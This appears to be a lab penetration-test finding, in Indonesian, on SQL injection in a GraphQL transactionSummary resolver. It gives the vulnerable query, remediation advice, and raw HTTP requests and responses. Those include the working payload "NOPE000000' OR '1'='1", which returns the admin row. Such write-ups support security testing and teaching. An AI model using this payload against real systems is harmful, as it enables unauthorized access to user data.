Kerentanan
[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver
Deskripsi
Resolver transactionSummary meneruskan argumen accountNumber ke fungsi _load_actor_by_account_number yang membangun query dengan f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. Bagi pemanggil dengan peran administrator, nilai argumen tidak dibatasi sama sekali sehingga dapat menyisipkan sintaks SQL.
Dampak
Confidentiality (High): injeksi SQL pada lapisan GraphQL memungkinkan pengambilan baris tabel users di luar rekening yang diminta. Karena peran administrator pada aplikasi ini dapat diperoleh melalui beberapa jalur yang telah dibuktikan terpisah (injeksi SQL pada login, mass assignment saat pendaftaran, dan pemalsuan JWT), prasyarat administrator bukan penghalang nyata bagi penyerang.
CWE
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
OWASP
A03:2021 - Injection
Skenario
Normal: accountNumber berisi rekening yang sah -> ringkasan transaksi rekening tersebut dikembalikan. Kontrol: accountNumber berisi rekening yang tidak ada (NOPE000000) -> galat Account not found. Eksploitasi: nilai yang sama ditambah sintaks injeksi NOPE000000' OR '1'='1 -> kondisi WHERE selalu benar, baris pertama tabel users dikembalikan meski rekening tersebut tidak ada.
Endpoint
POST http://127.0.0.1:5001/graphql
Fitur terdampak
GraphQL transactionSummary (ringkasan transaksi)
Rekomendasi perbaikan
- Gunakan parameterized query pada seluruh resolver; hapus perangkaian string SQL.
- Validasi format accountNumber dengan allow-list karakter sebelum menyentuh database.
- Terapkan prinsip hak akses minimal pada akun database yang dipakai aplikasi.
- Jangan mengandalkan peran pemanggil sebagai pengganti sanitasi input.
Bukti konsep
- (Screenshot 1) NORMAL: accountNumber ADMIN001 -> ringkasan transaksi dikembalikan secara wajar.
- (Screenshot 2) KONTROL: accountNumber NOPE000000 yang tidak ada -> galat Account not found.
- (Screenshot 3) DAMPAK CIA: accountNumber NOPE000000' OR '1'='1 -> query dimanipulasi sehingga mengembalikan baris ADMIN001 meski rekening yang diminta tidak ada, membuktikan eksekusi SQL yang disisipkan.
Rekaman lengkap
LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 146
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "ADMIN001"}}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:26 GMT
{
"data": {
"transactionSummary": {
"accountNumber": "ADMIN001",
"scope": "account",
"totalTransactions": 0
}
}
}
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 148
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000"}}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 331
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:27 GMT
{
"data": {
"transactionSummary": null
},
"errors": [
{
"message": "Account not found.\n\nGraphQL request:1:18\n1 | query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}\n | ^",
"path": [
"transactionSummary"
]
}
]
}
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 159
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000' OR '1'='1"}}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:28 GMT
{
"data": {
"transactionSummary": {
"accountNumber": "ADMIN001",
"scope": "account",
"totalTransactions": 0
}
}
}
← Kasus sebelumnya: SQL Injection - Authentication - Login Bypass Kasus berikutnya: Stored Cross-Site Scripting - User Profile - Bio Field →